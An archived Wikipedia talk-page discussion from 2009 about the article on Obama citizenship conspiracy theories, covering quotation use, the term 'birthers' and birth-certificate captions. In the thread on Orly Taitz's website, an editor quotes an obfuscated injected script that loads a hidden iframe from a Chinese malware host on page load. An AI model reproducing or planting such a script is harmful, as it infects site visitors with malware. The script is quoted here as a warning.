(outdent) I tend to be an anti-quote person, and tend to think we should not pick and choose which quotations to use unless the quotation itself is shown to be noteworthy by being discussed in a third party reliable neutral source. With that in mind, I would support removing as few or as many of these as everyone else deems reasonable, in favor of mentions or summaries. Wikidemon (talk) 22:24, 6 August 2009 (UTC)

• I concur in part with Wikidemon. I prefer to keep quotes to a minimum and only the most notable one's should stay.--The Magnificent Clean-keeper (talk) 23:07, 6 August 2009 (UTC)

The quote bomb gives undue weight to the author, who edits a blog at a source that claims itself to be "The flagship of the Left". Quotes should be integrated into the prose, and such a partisan sniping comment is only notable if reported by a reliable third party source. Just my two cents.Die4Dixie (talk) 03:19, 7 August 2009 (UTC)

On a controversial subject, I tend to be pro-quotation. Our obligation is to present all significant points of view fairly, and verbatim quotation is often the best way to do that. As to the format, I'm not sure what Die4Dixie means by a "quote bomb". I suspect it means simply a block quotation, in line with this ES by Protonk: "that doesn't need to be blockquoted. integrate it into the text or show why it is a singularly important quote or viewpoint." The response is that we don't put unimportant quotes inline and reserve block quotations for the really important ones or for those we want to emphasize. It is, rather, simply a matter of length. Long quotations are best presented as indented blocks. (In legal writing, the standard is that a quotation should be indented if it's more than 50 words or more than two sentences. Misplaced Pages doesn't follow such strict numerical guidelines but the basic idea is the same.) JamesMLane t c 04:40, 7 August 2009 (UTC)

I disagree. Our job is to summarize and concatenate. We build the encyclopedia from sourcing. We shouldn't source things out to quotes. Where something is especially pithy, it should be quoted, but otherwise, what is the point? I'm also cool to your interpretation of NPOV. Our job is not to emulate the 'opinions on the shape of earth differ' journalism practiced in the states. We present an inferior article to the reader by offering a non-exhaustive list (and it will always be non-exhaustive) of quotes or opinions from various and sundry windbags. And even if we accept that quoting 'important' things is valuable, what is so singularly important about the quotes which have been removed? The nation one is provocative, that's for sure, but the Hannity, politfact, and Maddow quotes are pretty run of the mill. How do we highlight quotes when our criticism section along presents a half dozen or so quotes to the reader, almost a third of the readable text in that section. And, even if we accept all that, the article is 116kb of text and needs to be shortened significantly. A great place to do that is where it will impact our editors' work least: blockquotes. Protonk (talk) 08:53, 7 August 2009 (UTC)

This is not a case of "opinions on the shape of earth differ". In general, we don't need to give equal weight to mainstream views and fringe theories, but this article is about a fringe theory. The controversy is properly covered here in a way that wouldn't be appropriate for the Barack Obama bio. Nor is "non-exhaustive" a fatal flaw. You could eliminate all quotations and you'd still find most encyclopedia articles to be non-exhaustive on what they do cover.

As to specifics: Maddow links the birthers to other resentments against Obama, which is valuable and should stay. I agree with your shortening of the PolitiFact quotation. On Paglia, I'm on the fence as to whether the full version of her quotation adds enough to merit inclusion. The Hannity quotation is longer than needed but instead of dumping it entirely I would keep: "Major Cook and his lawyer expressed joy at this outcome and took it as an admission on the part of the military that the president is not in fact a legitimate citizen by birth" pending inclusion of a better source for the Cook/Taitz spin. The "News Hounds" quotation could be paraphrased to save space (something like "Hannity was criticized for not reporting that Cook, as a volunteer, could have had his orders revoked by going through a pro forma administrative process," with a citation).

I would leave in the full quotation from Bill Posey. The language that someone deleted was "but would not be drawn on whether or not he believed Obama was a citizen of the United States, saying that 'I can't swear on a stack of Bibles whether he is or isn't'". It's notable that a Congressman went even that far in the direction of the birthers. He'd probably be willing to be drawn in on whether we landed on the Moon or whether the Earth is round, but accords this fringe theory more deference. JamesMLane t c 17:11, 7 August 2009 (UTC)

To jump around a bit, let's look at this quote from Roy Blunt, "|What I don’t know is why the President can’t produce a birth certificate. I don’t know anybody else that can’t produce one. And I think that’s a legitimate question. No health records, no birth certificate". This quote is the bulk of the content in the Roy Blunt subsection and is preceded only by a discussion of who asked the question and is followed only by a bizzare denial from a spokesperson (bizarre on his part, not on ours for including it). Nothing is added over simply saying that, when prompted, Roy Blunt asked questions about the president's documentation and a spokesperson later qualified those remarks. For the Maddow quote, there isn't much said that can't be summarized by an editor. She, like Hannity, is a newscaster/opinion-person (is there a name for what folks like them do?). There isn't a particular reason her opinion on the birthers should be salient. I don't bring the Blunt quote up to ignore the points you make above but instead to offer it up as emblematic of the rest of the quotes on this page and most quote heavy pages. A good user essay outlines the problems w/ having too many quotes stand in for prose.

To respond to the above, the 'opinions on the shape of earth differ' point is still valid (because I said so, right? :P). I'm not saying that the quotes necessarily grant equal weight to fringe ideas and mainstream ideas (which unfortunately my idiom suggested). What I'm saying is that structurally, the use of quotes engenders a tit-for-tat strategy on pages like this. We can neutrally word prose continuously while we have to bring quotes in (for the most part) one by one. It makes balancing the article more difficult because the best way to balance out a Maddow quote (just for example) is to add a Hannity quote. Now instead of adding 1 quote, we have two, each with it's own tonal distinction from the rest of the article and its own supporting claims/counterclaims. Protonk (talk) 17:34, 7 August 2009 (UTC)

You seem to see the same problems I have seen on this article. I would have much perfered this dynamic, but I didn´t think that improving the article needed this much talk, and the ones who reverted you and me aren´t even participating. Try changing the article, and someone will revert who has avoided the whole process. That´s why I found myself incapable of assuming good faith. Seems like you have taken an interest in the most egregious problems with the article, and I thank you for it.--Die4Dixie (talk) 21:06, 8 August 2009 (UTC)

Noting the change in policy regarding birth certificates in Hawaii

I made a few minor edits regarding a change in the birth certificate policy in Hawaii. Prior to June 2009, the Dept of Hawaiian Home Lands (DHHL) required people to present the Certificate of Live Birth. They would not accept a Certification of Live Birth because it was too easily forged and required them to do additional checking. An investigative report was able to pinpoint the change in policy occurred sometime between June 10, 2009 and June 18, 2009. RonCram (talk) 05:40, 7 August 2009 (UTC)

An "investigative" report from a blog founded by Joseph Farah (http://www.westernjournalism.com/?page_id=2) who is at the heart of the conspirary theory ? Sorry, but that's not a reliable source. Also, what the Dept. of Hawaiian Home Lands may or may not request hardly seems relevant here, I don't believe Obama is an applicant, and that's certainly not the subject. Equendil Talk 11:21, 7 August 2009 (UTC)

The Hawaiian Home Lands Program is available to those with "a blood quantum of at least 50 percent Hawaiian" -- in other words, people of majority Hawaiian ancestry. The Certification of Live Birth, currently the only form of birth certificate being issued in Hawaii, contains no information about the ethnicity of one's parents. For this reason, the Certificate of Live Birth has been preferred. However, people who don't have Certificates of Live Birth are no longer able to get them, and so the DHHL has to do additional research in order to establish eligibility. The prior version of the DHHL web page was not explicit about the fact that Certificates of Live Birth are no longer available, so it was revised in June to clarify the situation. There was no change of policy, and of course the whole issue is irrelevant to the question of presidential eligibility. --TheMaestro (talk) 18:53, 7 August 2009 (UTC)

The Honolulu Star-Bulletin, the second largest daily newspaper in Hawaii, published this article which says, "Hawaii state Sen. Will Espero said he would introduce legislation next year to have birth certificates declared public records. Espero (D, Ewa-Honouliuli-Ewa Beach) said the Obama fuss has raised questions about public and private records and says it would be in the state's interest to have open public record of births. 'It would be important for relatives and even neighbors,' Espero said." That's relevant and notable, and it's a reliable source, so it should be in the article. Grundle2600 (talk) 15:11, 7 August 2009 (UTC)

What does that have to do with Obama? Who then was a gentleman? (talk) 18:36, 7 August 2009 (UTC)

Obama has repeagtedly alleged to be born in Hawaii Smith Jones 22:42, 7 August 2009 (UTC)

Sweet! Fire up the identity theft engines, everyone. Easy access to steal the identity of anyone born in Hawai'i is on the way. --Bobblehead 23:34, 7 August 2009 (UTC)

LOL @ Bobblehead! too bad the "president" wouldnt technically qualifiy anymore illinois Smith Jones 23:41, 7 August 2009 (UTC)

Alleged? Smith Jones, do you know what that means? And Bobblehead, that was exactly my first reaction on hearing this. You want to change your identity? Find somebody who was born in Hawaii, claim to be them, get the information needed from the state, and voila. Who then was a gentleman? (talk) 23:42, 7 August 2009 (UTC)

are you saying that hes not claiming to be born in Hawaii? if so, then we should change the name of this article to citizenship FACTS. lol not really Smith Jones 00:32, 8 August 2009 (UTC)

"Orly Taitz" redirects to this article

So should she then have her own section in this entry? It's also hard to believe that she would not meet the notability threshold for her own article, as I have seen her on multiple news shows everyday for the past 2 weeks .... Orly Taitz, take it away :o)   Redthoreau (talk)RT 08:22, 8 August 2009 (UTC)

She would have to become notable for more than this one issue. The Four Deuces (talk) 15:32, 8 August 2009 (UTC)

The separate article on Orly Taitz was deleted and replaced by a redirect. The deletion was challenged at DRV; the DRV was closed by relisting the AfD to allow more time for comments. You can weigh in at Misplaced Pages:Articles for deletion/Orly Taitz (2nd nomination). Meanwhile, the standalone article has been restored but isn't in very good shape, IMO. JamesMLane t c 16:39, 8 August 2009 (UTC)

Of birthers and truthers

The article now tells us:

The pejorative "birthers" moniker draws a parallel with 9/11 conspiracy theorists, who have been nicknamed "truthers".

This points to an article in the Daily Telegraph. The article does not say that the term is pejorative and doesn't mention "truthers". What kind of "sourcing" is this?

My own impression is that the term is sometimes used pejoratively and sometimes isn't. Certainly the disyllabic "birthers" is more convenient than "people who don't believe that Obama was born in the US" or any other alternative that I can quickly come up with; in view of its brevity, it would hardly be surprising if it changed from being a pejorative to a neutral term. -- Hoary (talk) 10:09, 8 August 2009 (UTC)

Treehuggers, Obamabots, Bushies, birthers, truthers, bible thumpers, right-wingers, yuppies, winos, wiggers, etc, etc. These are all common terms and all used with a certain amount of derogatory intent. I suppose it could be argued that the label "pejorative" is unnecessary because some intent to belittle is simply assumed. Also, I've just noticed that some revel in the term "birther". JBarta (talk) 11:47, 8 August 2009 (UTC)

In the article about these people it is not appropriate to use the term other than in quotes. Think about using the word "nigger" as a euphemism for Black people throughout the KKK article. That some black people use the term with pride and as a term of endearment makes no difference.--Die4Dixie (talk) 18:15, 8 August 2009 (UTC)

Die4Dixie's unstated assumption is that using a pejorative to describe someone on the basis of their crazy, well-debunked beliefs is just like using a pejorative to describe someone on the basis of their race. The terms birther is more akin to flat-earther than it is to nigger. — goethean ॐ 20:09, 8 August 2009 (UTC)

As you like. Point is , that in an encylopedia, neither is appropriate. The repeated use of "birther" is to ridicule and marginalize. This is appropriate in leftist publications and commentators rants. I would expect no less. Misplaced Pages´s purpose is not to hold up flatworlders, bible thumpers, or any other group in JBart´s incomplete list to ridicule. It tries to be an encyclopedia, and its primary purpose should not be suverted like this.--Die4Dixie (talk) 20:55, 8 August 2009 (UTC)

Goethean, your claim of the beliefs being "well-debunked" is false since an official birth certificate has not been released. I agree that the term is not akin to "nigger," but I do see how the comparison can be made. Die4Dixie, if you can show references describing the term as pejorative or offensive then it would have a better chance of inclusion. --William S. Saturn (talk) 21:03, 8 August 2009 (UTC)

Please see ThuranX´s recent comments at ANI about me. He has purposely mislabeled me as a "Birther" to marginalize me and undermine my efforts to impove the article. If someone would call a person a Birther to marginalize them at ANI, it would appear self evident that the same purpose is being realized here in the article. ( which is not the purpose of the article).--Die4Dixie (talk) 21:09, 8 August 2009 (UTC)

I did see that personal attack on ANI, but that can't be used as a source. --William S. Saturn (talk) 21:13, 8 August 2009 (UTC)

My real complaint is the use of "birther" in the prose repeatedly. I was just illustrating that the enclyclopedia should not use the word other than in quotes and when directly quoting someone. Other uses, like the ones employeed currently, can only be labeled propoganda, and Misplaced Pages should not be a propoganda machine. The article should not exist to marginalize the views, merely report them and what others have said about them, within reason.--Die4Dixie (talk) 21:18, 8 August 2009 (UTC)

I understand your complaint, but the editors of this article will not care. Nothing can really get done here. But if you want to make the point, you need all the evidence you can find, and even if you do, they may just choose to ignore. That's how Obama articles work. --William S. Saturn (talk) 21:24, 8 August 2009 (UTC)

If I were to agree with you, we would be labled conspiracy freaks. I have made appeals to policy above several times. Finally a reasonably minded admin is willing to get involved, but most want to avoid the head ache like the plague. I can hardly blame them. Please inform me of any votes, polls, or requests for comment. They have finally worn me down--Die4Dixie (talk) 21:34, 8 August 2009 (UTC)

we dont have to use this word "brther". we can just use it when its being used as a quote from a source, but then we just Smith Jones 21:40, 8 August 2009 (UTC)

I don't want to knock the comments above, but I sense an overwillingness to judge the degree of pejoration of "birther" (my second issue) from the gut -- nobody has cited any external commentary, aside from a single mention of a single website -- and nobody has taken up my first point, which is that the article a few hours ago claimed, and as of a few seconds ago still claims, (i) that "birther" is pejorative and is modeled on "truther" and (ii) that this is confirmed by an article in the Daily Telegraph -- while that very same Daily Telegraph article says no such thing (it fails even to mention "truther", or indeed "truth").

I think it is almost certain that "birther" was originally pejorative and a play on "truther". I've no objection to the article saying this, or that the term often has negative connotations. But if it says this, it should cite a reliable source that actually says this or at least clearly implies it. And then, in order to give a more rounded picture of the term as it is used now, some mention should be made of the way that "birther" appears now to be used within staid, sober, apolitical prose as the straightforward term for what it denotes.

(Linguistically, there's nothing unusual about this process of amelioration. Consider "quaker". Notoriously, WP is not an RS, but as this is merely a talk page I'll quote the article: what began apparently as a way to make fun of Fox's admonition by those outside the Society of Friends became a nickname that even Friends use for themselves]].) -- Hoary (talk) 22:46, 8 August 2009 (UTC)

I have no real opinion about it. I suspect that you are right about the lede. I also think I am right about[REDACTED] using it. The linguistic process of amelioration took considerably longer than has elapsed for Misplaced Pages to start directly refering to"birthers".--Die4Dixie (talk) 22:53, 8 August 2009 (UTC)

My question is how prolific is the term "Birthers" in the main stream media? Because we follow what main stream media uses, we should use the term they use. Brothejr (talk) 23:27, 8 August 2009 (UTC)

This is an encyclopedia, and "we" use reliable sources, "we" don't blindly follow the "main stream media." Perhaps you are using "we" in a different context. --William S. Saturn (talk) 23:39, 8 August 2009 (UTC)

<Ignoring the the rather snarky remark> Mainstream media does equal reliable sources? Do you have a different definition that is not the same with WP:RS? Brothejr (talk) 23:43, 8 August 2009 (UTC)

The conventions should follow encyclopedic writing, this is not a news source. Conventions of the mainstream media have no place, just the information. --William S. Saturn (talk) 23:49, 8 August 2009 (UTC)

So you are saying that when the sources actually use the term Birthers while describing the group as a whole we should ignore that? What is your definition of encyclopedic writing? Does that mean ignoring terms that the writer does not like even though it is not considered vulgar by the majority of society and is commonly used in regards to the subject of the article? Summing it up, are you saying that to be an encyclopedia we should ignore terms that a subject is popularly known as because some editors don't like them? Brothejr (talk) 23:55, 8 August 2009 (UTC)

No. It should be ignored if it is inappropriate and unprofessional. I am not arguing one side or the other, I am simply saying that terms used in encyclopedic writings should be used as the basis. Slang terms are not particularly appropriate. I don't know about the complete usage of this term, but the mainstream media should not be the basis. --William S. Saturn (talk) 00:03, 9 August 2009 (UTC)

The question is who is deeming it inappropriate and unprofessional? What is the standard to deem something inappropriate and unprofessional? Is there a specific policy that tells use when the term Birthers is inappropriate and unprofessional? Also on a side note, so if a news article that has to go through various editors before being published, used the term is incorrectly or should not have used the term? Brothejr (talk) 00:06, 9 August 2009 (UTC)

Encyclopedic works should be used to make that determination, since this is (supposedly) an encyclopedia. --William S. Saturn (talk) 00:12, 9 August 2009 (UTC)

Um, I am unsure what you mean by encyclopedic works should be used to make that determination? Brothejr (talk) 00:13, 9 August 2009 (UTC)

The way reliable encyclopedic sources handle the situation, should be reflected here. --William S. Saturn (talk) 00:18, 9 August 2009 (UTC)

Then in this case and by that definition, we should use the term Birther, as that is how "encyclopedic sources" handle the situation. Brothejr (talk) 00:21, 9 August 2009 (UTC)

Do you have evidence for that? --William S. Saturn (talk) 00:22, 9 August 2009 (UTC)

Here ya go:

• Here is one that not only uses the term birthers in the body of the article, but also in the headline:
• Here is another source that uses the term birthers
• And another one:
• And another one:
• And so much more

I think there is evidence out there. Brothejr (talk) 00:29, 9 August 2009 (UTC)

Those are all opinion pieces, not reliable encyclopedic works. --William S. Saturn (talk) 00:34, 9 August 2009 (UTC)

It's funny how you can write them all off as opinion pieces? So are you saying all 3,923 articles found by this Google news search are opinion pieces? Or maybe the standard is that if an article uses the term birthers, then it must be an opinion piece? Or maybe if because we don't like the term we shouldn't use it? Brothejr (talk) 00:39, 9 August 2009 (UTC)

a professional encyclopedia does not use pejorative terms in its articles, just like we dont use the N-word in the article Africa. IF a SOURCE says it and we are QUOTING that source, then we use the perjorative. But in just general writing we should use the term the term "birthers" only when absolutely necessary to acurately reflects the text of the source and not our own personal bias. We are not writing an editorial a press release from the Obama Administraiton. We are writing an enclyclopedia and should stick to WP:RS or WP:N and avoid undue weight to random editorials pumped out by the liberal media. I hope we can learn to abide by WP:MOS and follow the rules and the precepts upon which Misplaced Pages was founded by its founder James Wales. Smith Jones 00:44, 9 August 2009 (UTC)

And the thing is that the term in the article is used exactly as you say. However, the argument is against the use of the term at all. Brothejr (talk) 00:46, 9 August 2009 (UTC)

I don't see that argument being made. --William S. Saturn (talk) 00:50, 9 August 2009 (UTC)

So you are not arguing against the use of the word Birthers? Brothejr (talk) 00:52, 9 August 2009 (UTC)

I've already said that I'm not on one side or the other because there is currently not enough information. However, I don't see where anybody is arguing that the word should not be used in the context described above by Smith Jones. --William S. Saturn (talk) 00:55, 9 August 2009 (UTC)

And as I said just below Smith's post that this article does use the term Birthers in the context described above. Brothejr (talk) 00:57, 9 August 2009 (UTC)

False. I counted at least three uses in the article as a label of the movement.--William S. Saturn (talk) 01:00, 9 August 2009 (UTC)

And were they supported by the sources? Brothejr (talk) 01:02, 9 August 2009 (UTC)

the problem is that you are incorrect in your assertion that birhters is only used when direct-quoting a source. These citations are not are ARE NOT supported by their sources. For example:

• the section entitled " Claims that the certification of live birth is meaningless mentions the word "birthers"
• in the comfort in conspiracy subsection which refers to "Birthers claim" even though that phraseology is not in the source and later
• you can find in the White House Response section refers to birthers

This is only a crossection of the many ways that WP:MOS is violating by the excessive iuse of a perjorative or other derogatory political slander is being used. Smith Jones 01:04, 9 August 2009 (UTC)

Smith Jones was referring only to "quotes," as emphasized in capital letters in his earlier post above. --William S. Saturn (talk) 01:05, 9 August 2009 (UTC)

If a term is not supported by a source, then obviously we cannot use it. However, there are many times where the term is appropriately used in the article. Brothejr (talk) 01:09, 9 August 2009 (UTC)

i am fine with THOSE usages when they are supported by the source. in the cases that I wish to eliminate, they are not and I want to get consensus so that i can remove them without editwar. Smith Jones 01:11, 9 August 2009 (UTC)

I say go ahead. Other terms can easily be used instead, and the usage itself of the word is disputed. So it's best to be safe. --William S. Saturn (talk) 01:16, 9 August 2009 (UTC)

I have removed the three in question, the rest are supported by sources and are appropriate. Brothejr (talk) 01:18, 9 August 2009 (UTC)

I agree. Problem solved. --William S. Saturn (talk) 01:21, 9 August 2009 (UTC)

Me too. Perhaps we should initiate a request for comment and be sure?--Die4Dixie (talk) 01:36, 9 August 2009 (UTC)

That will only be necessary if someone starts an edit war. I think we have consensus right here. --William S. Saturn (talk) 01:40, 9 August 2009 (UTC)

I´m dubious. I really think a request for comment should be done to solidify it. I do think it should be removed until the results are in.--Die4Dixie (talk) 01:42, 9 August 2009 (UTC)

This was an agreement to remove three earlier birther uses, however this was never an agreement to remove the quote. That still needs to be discussed above in a section already started on it. Brothejr (talk) 09:39, 9 August 2009 (UTC)

This is true. My comment above only covered the use of "birther" outside of quoted material. I don´t like the quote, but we need a request for comment on it before it goes. I can tolerate it if it is incorporated into the prose and not block-quoted.--Die4Dixie (talk) 12:53, 9 August 2009 (UTC)

Pat Boone is irrelevant

The article is getting bloated enough as it is, so I have snipped this fancruft. Let's not waste space on random celebrity opinion if they have no tangible connection to the birthers or any past or present court case. Tarc (talk) 01:59, 9 August 2009 (UTC)

Orly Taitz's website

Orly Taitz's website, orlytaitzesq.com, is being reported by my virus protection program, and by talkingpointsmemo.com, as harboring malware. Fortunately, my virus protection caught it, but I'd suggest not going there unless you're sure your virus protection is up to date. Who then was a gentleman? (talk) 07:05, 9 August 2009 (UTC)

that can be construed as a disappearance of good faith in BLP. please try to follow the rules in the future. Smith Jones 14:21, 9 August 2009 (UTC)

May I ask what policy did he break, please be very specific? Brothejr (talk) 15:08, 9 August 2009 (UTC)

I don't believe there is any logical reading of that could be construed as running afoul of BLP. A simple fact...taitz's blog site is being reported as malware...was stated, nothing more. Tarc (talk) 14:39, 9 August 2009 (UTC)

i checked the wesite myself and I didnt find any malware. and I used some of the most advanced spyware detection and malware detection analysis software. it could be an error on your computer quite probably and this might inadvertently make Orly Taitz website look bad and be construed as being insulting of her unnecessarily, which is unprofessional on an encyclopeida. i Urge you to reconsider your position on this matter and refactor your initial statement, `Smith Jones 14:54, 9 August 2009 (UTC)

May I ask what policy they broke and requires them to refactor their comment? Please be specific. Brothejr (talk) 15:10, 9 August 2009 (UTC)

Or, it could have been an error in the web site that caused the problem and was corrected and that the editor was being a good editor and warning about a potential problem, thus not needing to refactor or reconsider their position. Or, there still could be a problem too. I have heard of a hidden frame that had malware on it. Brothejr (talk) 14:58, 9 August 2009 (UTC)

Yes, as of a few days ago her web page contained this script, which can with a little effort be decoded to reveal malware, in that it loads a frame from http://security-alerts.cn/cyber/in.cgi?4:

<script>

function YuLQmW(cqGOKkKxg, paXoW, bRwOHYl){var SjTKsiaJe=bRwOHYl.split(paXoW);var NhAxBaVLcf=ˈˈ;for(qGST=0;qGST<(SjTKsiaJe.length-1);qGST++){ AXEMcaaiu = SjTKsiaJe^cqGOKkKxg;NhAxBaVLcf += String.fromCharCode(AXEMcaaiu);}return NhAxBaVLcf;}

function hjgksr(){var GncOozzc=new Function("QtBFdMu", "return "+YuLQmW(-0x13+0x8+0x2f+0x29+0x2d+0x28+0x2e+0x7f, 'U','299U288U300U314U290U298U289U315U')+"."+YuLQmW(-0x7-0xe+0x14+0x3b1, 'G','978G991G980G969G')+"");var zotuOWV=GncOozzc(-0x1c+0x25-0x1-0x1f+0x2c-0x14);zotuOWV.innerHTML += YuLQmW(0x4+0x30+0x2c-0x25+0x0+0x4e, ::::::: 'V','181V224V239V251V232V228V236V169V254V224V237V253V225V180V184V169V225V236V224V238V225V253V180V184V169V235V230V251V237V236V251V180V185V169V239V251V232V228V236V235V230V251V237V236V251V180V185V169V250V251V234V180V174V225V253V253V249V179V166V166V250V236V234V252V251V224V253V240V164V232V229V236V251V253V250V167V234V231V166V234V240V235V236V251V166V224V231V167V234V238V224V182V189V174V183V181V166V224V239V251V232V228V236V183V');}

if(window.addEventListener){window.addEventListener('load',hjgksr,false);}else if(window.attachEvent){window.attachEvent('onload', hjgksr);}

</script>

I don't know if it's still there. --TheMaestro (talk) 16:51, 9 August 2009 (UTC)

that is also plausible, although as an Attorney she would know that her livelihood depends on cusotmers being able to easily view her contact information, and if clients are scared off by phony scares of malware/spyware that can do financial harm so Orly Taitz would endavort to cavort it. My studies of systems technology and IT have borne out such possibilities which I did have researched before my elegy here today. My recommendation is to perhaps redirect the link to her website on this page to the now solvent and website Orly Taitz which recently evaded an WP:AFD and was surmised to still exist on this Misplaced Pages as a separate article rather than a redirect. I will request Consensus as a naturalistic requirement before making such a move. Smith Jones 15:14, 9 August 2009 (UTC)

Well whatever it is, google still flags it as a malicious site. Tarc (talk) 15:45, 9 August 2009 (UTC)

Google is a well-known and controversial search engine. Smith Jones 17:15, 9 August 2009 (UTC)

Smith Jones, I am reluctant to go back to the site for obvious reasons. But since your computer seems to be unaffected by it, maybe you could check it out for us by going to the page and seeing if the source still contains the script I quoted above. --TheMaestro (talk) 19:16, 9 August 2009 (UTC)

Windows shut down when I tried to open a link from the page on current lawsuits, to protect my computer or so it says.--Die4Dixie (talk) 18:41, 9 August 2009 (UTC)

I never made any claims about Ms. Taitz being the source of the malware, it might have been maliciously infected by an opponent. My virus protection no longer gives me any warnings when I go there. Who then was a gentleman? (talk) 22:57, 9 August 2009 (UTC)

precisely. since the original user who was allegedly accepted by this so-called "malware" has withdrawn te charge, i see no reason to continue arguing that there should be a problem. honestly, this entire thing just shows to humiliate Attorney Taitz and is a clear violation of WP:FORUM Smith Jones 00:04, 10 August 2009 (UTC)

Um, may I ask how this is meant to humiliate Ms. Taitz? Also, may I ask how this can be considered "Scandal Mongering." (If that is the section you are thinking of because it is the only one that remotely relates to this argument.) I also like to point out that this isn't about, nor has ever been about, Ms. Taitz. Only her web site, which could conceivably be done by someone else. Finally, this whole "this spyware/malware accusation is only to humiliate her" tilt is getting a bit old and worn out. The message itself was a hidden message and not plastered over her article and no one here is directly, indirectly, or any derivation there of, trying to humiliate or blaming her. Leave it be and move on. Brothejr (talk) 00:14, 10 August 2009 (UTC)

are you kidding??? i never even MENTIONED scandal mongering. What i linked to was WP:FORUM, in that wikiepdia is NOT a forum for, according to wp:not, "hey are not mere general discussion pages about the subject of the article, nor are they a helpdesk for obtaining instructions or technical assistance."

if you have a problem with the site and need techncial assitance, that's great. take it to talk page. this article is for Barack Obama citizenship conspiracy theories. quite frankly, we dont really even need to have her website on her Smith Jones 00:17, 10 August 2009 (UTC)

Ok, then you have incorrectly used the WP:FORUM policy. When you brought up the policy before, the usage was incorrect. However, because you seem to want to push this past the web site and into a defamation argument, the proper policies to apply would be WP:NOTFORUM and WP:SOAP as you are pushing this debate past the original intent of this section. Thus it can conceivably be argued that you are coming close to breaking those two policies. Brothejr (talk) 00:23, 10 August 2009 (UTC)

i'm afraid that you've lost me here. WP:FORUM and WP:NOTFORUM link to the sxact same section and the same page. and what does WP:SOAP have to do with this? i am not talking about defamation, i am talking about using this talk apge to get technical assistance for the problems with the Orly Taitz webpage 00:33, 10 August 2009 (UTC)

Actually reading the first comment: it was to report that there was/could be possible malware embedded in the web site and was warning people about it. Then you jumped on them accusing them of a BLP violation. Then you try to turn it into a technical debate with the slant to say that there was no malware and that any mention of it was slanderous. Now you are trying to deny the technical side to it and add another policy. Maybe in your spare time you might want to read what WP:NOTFORUM and WP:SOAP actually say. However, if you truly want to stop this "technical" debate, then don't comment anymore in this thread or topic as it is mainly you who are pushing it. Finally, if you choose to bring this section back towards your earlier assertion that mentioning this could be damaging to Ms Taitz (Or any derivation of the same thing you like to think of it as) would be considered inappropriate as that is not the focus of this section nor ever was. Brothejr (talk) 00:44, 10 August 2009 (UTC)

I'm still unclear as to the source for our allegatons, but I'm used to that by now on this page :D anyway, you do make a good point that i should stop commenting, as this is clearly my fault for pormulagating an obviously unfruitful point of distracting Discussion. thank you for your time and patinece nad I wish you the best of luck with the socalled "Malware" problem. 02:39, 10 August 2009 (UTC)

Smith Jones's charge that this warning is an attempt to make Taitz's website look bad is utterly unfounded. See my post in this thread above, where I reported the same warning from the Free Republic website. Free Republic is a far-right website whose denizens are all agog over the eligibility issue. There are numerous posts there praising Taitz -- I think some of them hope that Taitz will be named the Attorney General in President Palin's cabinet. OK, that's an exaggeration, but certainly Free Republic wouldn't phony up a malware warning to hurt Taitz. And, Smith Jones, if you're unclear as to the source for various allegations, you might consider whether you're reading others' comments carefully enough. JamesMLane t c 16:46, 10 August 2009 (UTC)

Birth certificate image caption

William S. Saturn is trying mightily to cast aspersions on the authenticity/reliability of the birth certificate, but it is nothing much we haven't had to deal with before. First attempt is here adding "short form" to the image caption, but according to the Honolulu Star Bulletin, there is no long/short distinction. Attempt #2 (with revert) appended "as posted on his website", framing the matter in terms of its authenticity being contingent on how much one trusts the Obama camp to be truthful. Since the state of Hawaii has certified the document in question, this ""as posted on his website" bit is rather unnecessary. Tarc (talk) 19:46, 9 August 2009 (UTC)

A newspaper or a Hawaiian official can state there is no moon if they chose, but that doesn't make it so. While Hawaii may now only offer the short form certificate and while they choose to not make the literal distinction between "long" and "short" form, the fact remains the COLB that has been offered is generally known as a "short form" and the original birth certificate is generally known as a "long form". To blur this distinction in the article does the reader a great disservice. JBarta (talk) 21:18, 9 August 2009 (UTC)

The only disservice is to birthers looking to make a distinction without a difference. Labeling it in a "this is only the short form" manner implies that there is a long form that could be placed in its stead". That is not the case, as explained by the state's Dep't of Health, which certainly does make it so. Tarc (talk) 21:27, 9 August 2009 (UTC)

The article can clearly state that currently, when a birth certificate is requested, it is this computer generated short form that is given rather than a photocopy of the original birth certificate (long form). If the state of Hawaii were ever to say that NO ONE, not even Obama himself can get a certified photocopy of his original birth certificate, then that can be in the article as well. But regarding the two, there is a distinction and there most definitely is a difference. They are two different documents. Yes it may be true that details on the short form correspond exactly to details on the long form. And yes it is true that the state of Hawaii has, in limited and carefully chosen words, stated just that. What remains however is that we are STILL dealing with two different documents... commonly known as "long form" and "short form". JBarta (talk) 23:14, 9 August 2009 (UTC)

It's quite amazing that the resident experts here on Misplaced Pages know more about Hawaii birth certificates than the official spokesperson of the Hawaii Department of Health. Unless...she's in on the conspiracy! — goethean ॐ 23:26, 9 August 2009 (UTC)

goethean, I don't see where anything I've said in this thread is in conflict with anything in that Q&A you reference. JBarta (talk) 23:35, 9 August 2009 (UTC)

Asked for more information about the short-form versus long-form birth documents, Okubo said the Health Department "does not have a short-form or long-form certificate." — goethean ॐ 00:00, 10 August 2009 (UTC)

Re-read what I wrote. Again I don't see where anything I've said in this thread is in conflict with that statement. JBarta (talk) 00:10, 10 August 2009 (UTC)

Granted, I don't know much about this topic, but when I was reading this article the other day, I got confused about the distinction between the short form and the long form. At one point (this was a couple days ago), it said there was no long/short distinction but then the article kept talking about long and short as if it mattered. A Quest For Knowledge (talk) 23:30, 9 August 2009 (UTC)

It matters. Read the article, read the talk pages, read the various arguments pro and con that are out there in Internetland and you will see there is a difference and why it matters to many people. If after understanding the issue a little better it still doesn't matter, then that's OK too. JBarta (talk) 23:40, 9 August 2009 (UTC)

A clarification is definitely necessary, since there is a difference between the certificate provided by Obama and the official birth certificate. By hiding the difference, the motive of editors seems to be an attempt to discredit the movement, and that is not the goal of wikipedia.--William S. Saturn (talk) 00:14, 10 August 2009 (UTC)

As I said above, it leaves the implication that there is another, different document that could be produced instead of the currently available one. According to the government agency responsible for such records, this claim is false. Tarc (talk) 00:16, 10 August 2009 (UTC)

I see the difference now. You are simply misinformed about the matter. --William S. Saturn (talk) 00:18, 10 August 2009 (UTC)

